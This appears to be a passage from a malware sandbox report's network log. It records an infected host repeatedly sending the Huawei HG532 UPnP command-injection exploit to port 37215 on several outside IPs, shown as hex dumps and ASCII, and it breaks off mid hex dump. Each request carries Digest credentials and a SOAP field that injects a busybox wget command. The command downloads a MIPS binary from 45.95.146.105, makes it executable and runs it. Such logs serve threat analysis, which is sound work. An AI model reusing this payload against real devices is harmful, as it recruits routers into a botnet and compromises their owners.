61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:44.130513906 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:33.279552937 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	57246	107.148.175.73	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:13:58.012979984 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	47302	156.77.139.97	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:05.313724041 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	59174	107.178.163.121	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:16.623663902 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:17.446170092 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:18.406085968 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:20.293888092 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:24.165226936 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 